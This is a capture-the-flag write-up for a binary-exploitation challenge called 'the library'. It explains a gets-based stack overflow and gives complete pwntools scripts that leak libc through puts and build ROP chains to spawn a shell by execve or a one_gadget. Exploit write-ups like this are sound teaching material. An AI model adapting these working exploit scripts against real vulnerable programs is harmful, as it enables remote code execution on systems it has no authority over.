the library

The library was as simple as ret2libc can be.

Files

The binary

The program asks you to guess what book it is thinking about.

Buffer Overflow

The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:

Ret2libc

If you are not used to that concept, the post bellow might help:
To leak libc base we can use rop gadgets to call puts passing a got address as argument.
#!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
io = remote('challenge.ctf.games', 31125)
rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # [email protected]
rop += p64(e.sym['main'])
io.recvrepeat(0.03)
io.sendline(rop)
io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.
libc_rop = ROP(libc)
libc_rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
rop = 552*'A'
rop += libc_rop.chain()
io.sendline(rop)
io.interactive()
Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.
A few are available but we would have to set some registers to NULL.
In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.
This gadget should do it.
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget

Final exploit

#!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games', 31125)
else:
io = process(e.path)
rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # [email protected]
rop += p64(e.sym['main'])
io.recvrepeat(0.03)
io.sendline(rop)
io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
log.success('Libc: ' + hex(libc.address))
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
io.sendline(rop)
io.interactive()
Last modified 1yr ago